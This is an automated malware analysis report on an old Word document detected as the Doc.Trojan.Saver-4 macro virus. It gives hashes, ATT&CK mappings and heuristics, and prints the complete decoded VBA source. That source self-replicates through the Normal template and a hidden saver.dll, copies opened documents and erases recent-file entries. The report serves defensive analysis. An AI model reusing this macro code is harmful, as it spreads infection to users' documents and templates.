Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fbd40957f7ce94f8…

MALICIOUS

Office (OLE)

29.5 KB Created: 2001-04-25 19:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4c34b07cb7ec89f382f0c6e995388359 SHA-1: 41183aefebc7184d152994bc447e27b94acffef5 SHA-256: fbd40957f7ce94f84f4890647f44d0e937dfb1ee804fe0bcb5a580c9b6cb0da9
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including AutoOpen and Auto_Close, which are commonly used to execute malicious code upon document opening or closing. The script attempts to copy itself to various locations, including 'saver.dll', suggesting an attempt to establish persistence or act as a dropper. The presence of legacy WordBasic markers further indicates malicious intent.

Heuristics 5

  • ClamAV: Doc.Trojan.Saver-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Saver-4
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2763 bytes
SHA-256: 814bbb6a05373a79b4a54b7e80a64055ad6ae90b7b46596b12d1abe126229a12
Detection
ClamAV: Doc.Trojan.Saver-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Saver"

Sub Mac(dr)
Attribute Mac.VB_Description = "Ìàêðîñ çàïèñàí 02.02.00 ÊÎÍÎÒÎÏ"
Attribute Mac.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Ìàêðîñ1"
 If (Dir(dr, vbDirectory) = "") Then MkDir (dr)
End Sub
Sub Setup()
Attribute Setup.VB_Description = "from Saver"
Attribute Setup.VB_ProcData.VB_Invoke_Func = "Normal.Saver.Setup"
  Word.Options.VirusProtection = True
  On Error Resume Next
  
  If Word.ActiveDocument.name = "saver.dll" Then MsgBox "Saver!"
    
  zz = Word.ActiveDocument.FullName
  
  Application.OrganizerCopy Source:=zz, _
      Destination:=Normal.ThisDocument.FullName, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=zz, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
  yy = Word.Application.Path + "\saver.dll"
  
  If (Dir(yy) = "") Then
    Application.Documents.Add
    Application.Documents(1).SaveAs (yy)
    Application.Documents(1).Close SaveChanges:=False
    Word.RecentFiles.Item(1).Delete
  End If
  
  
  Application.OrganizerCopy Source:=Normal.ThisDocument.FullName, _
      Destination:=yy, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=zz, _
      Destination:=yy, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
  Application.OrganizerCopy Source:=yy, _
      Destination:=zz, name:="Saver", _
      Object:=wdOrganizerObjectProjectItems
      
End Sub
Sub AutoNew()
Attribute AutoNew.VB_Description = "Saver"
Attribute AutoNew.VB_ProcData.VB_Invoke_Func = "Normal.Saver.AutoNew"
  dr = Word.Application.Path + "\Doc_Copy"
  Mac (dr)
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Saver"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.Saver.AutoOpen"
  Setup
  dr = Word.Application.Path + "\Doc_Copy"
  Mac (dr)
  If Word.ActiveDocument.name = "saver.dll" Then Word.ActiveDocument.Close
End Sub
Sub AutoClose()
Attribute AutoClose.VB_Description = "Saver\r\n"
Attribute AutoClose.VB_ProcData.VB_Invoke_Func = "Normal.Saver.AutoClose"
  dr = Word.Application.Path + "\Doc_Copy"
  Pat = dr + "\" + ActiveDocument.name
  If Word.ActiveDocument.name <> "saver.dll" Then
    On Error Resume Next
    ActiveDocument.Saved = False
    ActiveDocument.Save
    ActiveDocument.SaveAs (Pat)
  End If
  Word.RecentFiles.Item(1).Delete
End Sub